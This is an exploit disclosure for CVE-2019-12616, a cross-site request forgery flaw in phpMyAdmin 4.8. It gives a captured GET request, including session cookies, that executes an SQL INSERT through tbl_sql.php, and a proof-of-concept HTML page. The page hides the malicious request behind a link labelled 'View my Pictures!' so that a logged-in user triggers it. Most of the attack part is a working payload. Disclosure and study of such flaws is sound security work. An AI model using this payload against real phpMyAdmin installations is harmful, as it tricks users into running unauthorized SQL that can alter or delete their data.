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# Exploit Title: Cross Site Request Forgery (CSRF)  
# Date: 11 June 2019  
# Exploit Author: Riemann  
# Vendor Homepage: https://www.phpmyadmin.net/  
# Software Link: https://www.phpmyadmin.net/downloads/  
# Version: 4.8  
# Tested on: UBUNTU 16.04 LTS -Installed Docker image - docker pull phpmyadmin/phpmyadmin:4.8   
# CVE : 2019-12616  
  
# Description  
# An issue was discovered in phpMyAdmin before 4.9.0. A vulnerability was found that allows an attacker to trigger a CSRF attack against a phpMyAdmin user. The attacker can trick the user, for instance through a broken <img> tag pointing at the victim's phpMyAdmin database, and the attacker can potentially deliver a payload (such as a specific INSERT or DELETE statement) to the victim.   
  
  
#VULNERABILITY:  
The following request which is a form submission is done using the ¨GET¨ request instead of using ¨POST  
<form method="get" action="index.php" class="disableAjax">  
  
GET http://localhost:9000/tbl_sql.php?sql_query=INSERT+INTO+%60pma__bookmark%60+(%60id%60%2C+%60dbase%60%2C+%60user%60%2C+%60label%60%2C+%60query%60)+VALUES+(DAYOFWEEK(%27%27)%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27)&show_query=1&db=phpmyadmin&table=pma__bookmark HTTP/1.1  
  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Connection: keep-alive  
Cookie: pmaCookieVer=5; pma_lang=en; pma_collation_connection=utf8mb4_unicode_ci; pmaUser-1=%7B%22iv%22%3A%22M16ZzlA0rqF9BZ1jFsssjQ%3D%3D%22%2C%22mac%22%3A%22804941d12fceca0997e181cbcb8427d68c668240%22%2C%22payload%22%3A%22mD9juTxAYhC7lA7XPWHWOw%3D%3D%22%7D; phpMyAdmin=9bdd66557e399fc1447bf253bc2dc133  
Upgrade-Insecure-Requests: 1  
Host: localhost:9000  
  
The attacker can easily create a fake hyperlink containing the request that wants to execute on behalf the user,in this way making possible a CSRF attack due to the wrong use of HTTP method  
  
#POC  
<!doctype html>  
  
<html lang="en">  
<head>  
<meta charset="utf-8">  
<title>POC CVE-2019-12616</title>  
</head>  
  
<body>  
<a href="http://localhost:9000/tbl_sql.php?sql_query=INSERT+INTO+`pma__bookmark`+(`id`%2C+`dbase`%2C+`user`%2C+`label`%2C+`query`)+VALUES+(DAYOFWEEK('')%2C+''%2C+''%2C+''%2C+'')&show_query=1&db=phpmyadmin&table=pma__bookmark">View my Pictures!</a>  
</body>  
</html>